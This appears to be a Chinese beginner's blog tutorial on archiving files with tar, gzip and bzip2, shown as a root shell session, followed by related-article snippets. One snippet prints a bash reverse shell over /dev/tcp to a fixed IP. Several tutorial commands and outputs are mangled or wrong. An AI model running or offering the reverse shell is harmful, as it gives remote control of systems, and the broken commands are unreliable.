小白的python之路10/29 文件归档
一打包解包文件
[root@localhost ~]# cd /test/
[root@localhost test]# touch a.txt b.txt c.txt
[root@localhost test]# ls
a.txt b.txt c.txt
#1.打包过程
#c表示创建,v表示过程信息,f表示文件名, test.tar表示打包后的文件名,文件后缀无意义
[root@localhost test]# tar cvf test.tar a.txt b.txt c.txt
a.txt
b.txt
c.txt
[root@localhost test]# ls
a.txt b.txt c.txt test.tar
#2查看过程t表示查看,f指定哪个文件
[root@localhost test]# tar -tf test.tar
a.txt
b.txt
c.txt
[root@localhost test]# ls
a.txt b.txt c.txt test.tar
[root@localhost test]# rm -rf a.txt b.txt c.txt
[root@localhost test]# ls
test.tar
#3 x表示解包 f表示指定文件
[root@localhost test]# tar xvf test.tar
a.txt
b.txt
c.txt
[root@localhost test]# ls
a.txt b.txt c.txt test.tar
[root@localhost test]# mkdir /bak
[root@localhost test]# ls /bak
[root@localhost test]# ls
a.txt b.txt c.txt test.tar
#4 大c表示指定路径(绝对路径)
[root@localhost test]# tar xvf /test/test.tar -C /bak
a.txt
b.txt
c.txt
[root@localhost test]# ls /bak
a.txt b.txt c.txt
#二 压缩文件的压缩和解压
#vim写入信息
[root@localhost test]# vim a.txt
#查看文件信息 文件大小59
[root@localhost test]# ll a.txt
-rw-r--r-- 1 root root 10月 29 20:51 a.txt
#压缩文件gzip 文件大小39
[root@localhost test]# gzip a.txt
[root@localhost test]# ll
总用量 4
-rw-r--r-- 1 root root 10月 29 20:51 a.txt.gz
[root@localhost test]# ll a.txt.gz
-rw-r--r-- 1 root root 10月 29 20:51 a.txt.gz
#解压文件
[root@localhost test]# gunzip a.txt
[root@localhost test]# ls
a.txt
[root@localhost test]# touch b.txt c.txt d.txt
[root@localhost test]# ls
a.txt b.txt c.txt d.txt
#打包
[root@localhost test]# tar cvf test.tar a.txt b.txt c.txt d.txt
a.txt
b.txt
c.txt
d.txt
[root@localhost test]# ls
a.txt b.txt c.txt d.txt test.tar
#压缩
[root@localhost test]# gzip test.tar
[root@localhost test]# ls
a.txt b.txt c.txt d.txt test.tar.gz
#打包时压缩
[root@localhost test]# 10月 29 21:14 test1.tar.gz
[root@localhost test]# ll -l test.tar.gz
-rw-r--r-- 1 root root 10月 29 21:00 test.tar.gz
[root@localhost test]# ls
a.txt b.txt c.txt d.txt test1.tar.gz test.tar.gz
[root@localhost test]# touch e.txt
[root@localhost test]# bzip2 e.txt
[root@localhost test]# ls
a.txt b.txt c.txt d.txt e.txt.bz2 test1.tar.gz test.tar.gz
#压缩文件bz2
[root@localhost test]# tar cvjf test2.tar.bz2 a.txt b.txt c.txt
a.txt
b.txt
c.txt
#2种归档文件无论是bzip2还是gzip解压都一样
[root@localhost test]# mkdir /test1
[root@localhost test]# mkdir /test2
[root@localhost test]# tar xf test1.tar.gz -C /test1/
#解压后包中信息
[root@localhost test]# ls /test1/
a.txt b.txt c.txt d.txt
[root@localhost test]# tar xf test2.tar.bz2 -C /test2/
[root@localhost test]# ls /test2
a.txt b.txt c.txt
#bz2比gz压缩更小 但是bz2速度慢,过程久
eg:对目录/etc/下文件夹的压缩
[root@localhost test]# tar cvzf etc.tar.gz /etc/
[root@localhost test]# ls
a.txt c.txt etc.tar.gz test1.tar.gz test.tar.gz
b.txt d.txt e.txt.bz2 test2.tar.bz2
mkdir /conf_bak
打包目录,结果中有目录名存在 tar cvzf test.tar.gz /etc
cd /etc
tar cvzf test,tar,gz*
补充
>将左边输出到右面eg:cat /etc/passwd > /tmp/passswd.bak
less随意浏览文件less /tmp/passswd.bak
Ctrl+c强制中断进程 CTRL + D 保存退出
useradd 用户 -del mkdir 文件夹 rm
小白的python之路10/29 文件归档的更多相关文章
- 小白的python之路10/31&11/1文件操作系统
文件操作系统的介绍 ext4的superblock块是超级快,innode 块是专门存放文件信息的, block count将硬盘做成block块,对操作系统而言写在block块上就可了,eg:文件1 ...
- 小白的python之路10/30磁盘分区
总结:fdisk mkfs mount 1.磁盘分区 硬盘分区有三种,主磁盘分区.扩展磁盘分区.逻辑分区. 一个硬盘主分区至少有1个,最多4个,扩展分区可以没有,最多1个.且主分区+扩展分区总共 ...
- 小白的python之路10/30 vim编辑器
1.vim进入命令行之后的编辑过程
- 小白的python之路10/22 day1
一.操作系统 操作系统就是一个协调.管理和控制计算机硬件资源和软件资源的控制程序.操作系统所处的位置如下图
- 小白的Python之路 day1
Python之路,Day1 - Python基础1 本节内容 Python介绍 发展史 Python 2 or 3? 一. Python介绍 python的创始人为吉多·范罗苏姆(Guido van ...
- 小白学习Python之路---开发环境的搭建
本节内容 1.Python的介绍 2.发展史 3.安装Python 4.搭建开发环境 5.Hello World程序 一.Python的介绍 Python的创始人为荷兰人吉多·范罗苏姆(Guido v ...
- NO.3:自学python之路------集合、文件操作、函数
引言 本来计划每周完成一篇Python的自学博客,由于上一篇到这一篇遇到了过年.开学等杂事,导致托更到现在.现在又是一个新的学期,春天也越来越近了(冷到感冒).好了,闲话就说这么多.开始本周的自学Py ...
- 小白学 Python 数据分析(10):Pandas (九)数据运算
人生苦短,我用 Python 前文传送门: 小白学 Python 数据分析(1):数据分析基础 小白学 Python 数据分析(2):Pandas (一)概述 小白学 Python 数据分析(3):P ...
- 小白的Python之路 day1 变量
Python之路,Day1 - Python基础1 变量 变量用于存储在计算机程序中引用和操作的信息.它们还提供了一种用描述性名称标记数据的方法,这样我们的程序就能更清晰地被读者和我们自己理解.将变量 ...
随机推荐
- Spark大型电商项目实战-及其改良(4) 单独运行程序发现的问题
之前的运行结果比对发现,有1个函数的作用在2个job里面是相同的,但是对应的计算时间却差太远 于是把4个job分开运行.虽说使用的数据不同,但是生成数据的生成器是相同的,数据排布差距不大,数据量也是相 ...
- JAVA监听器Listener
JAVA监听器Listener 一. 简介 监听器用于对web中内置对象的状态或者属性变化进行监听并做出相应响应的一种Servlet;在内置对象的生命周期中,产生.销毁等状态发生变化时,监听器就会进行 ...
- FL Studio里的常规设置介绍
上期我们介绍了FL Studio中的项目设置,今天我们来介绍FL Studio中的常规设置.要打开常规设置,我们需要在主菜单中选择选项>常规选项,当然也可以直接按快捷键F10. “常规设置”页面 ...
- topcoder srm 625 div1
problem1 link 假设第$i$种出现的次数为$n_{i}$,总个数为$m$,那么排列数为$T=\frac{m!}{\prod_{i=1}^{26}(n_{i}!)}$ 然后计算回文的个数,只 ...
- Bootstrap3基础 下载bootstrap3压缩包和相应的jQuery文件
内容 参数 OS Windows 10 x64 browser Firefox 65.0.2 framework Bootstrap 3.3.7 editor ...
- Bigger-Mai 养成计划,Docker之安装,部署
CentOS Docker 安装 Docker支持以下的CentOS版本: CentOS 7 (64-bit) CentOS 6.5 (64-bit) 或更高的版本 前提条件 目前,CentOS 仅发 ...
- 给GRUB添加新的项目
安装了win10,然后又安装了manjaro,最后又安装了Ubuntu.开机默认就是进入的Ubuntu的grub,然而我比较喜欢manjaro的grub主题.在bios中设置manjaro的引导为默认 ...
- 反弹shell以及端口转发的方法收集
Bash bash -i >& /dev/tcp/192.168.1.142/80 0>&1 exec 5<>/dev/tcp/192.168.1.142/80 ...
- Python - 如何统计序列中元素出现的频次
1.用内置的count()方法,该方法返回子字符串在字符串中出现的次数(同样适用于列表)2.用collections模块的Counter类 示例: from collections import Co ...
- poi 导入Excle
一,AOP 是什么 Apache POI 提供java 程序对Microsoft Office格式文档的读写功能操作 二,所需要的jar包 三,实现代码 1, 读取Excle 返回Workbook格式 ...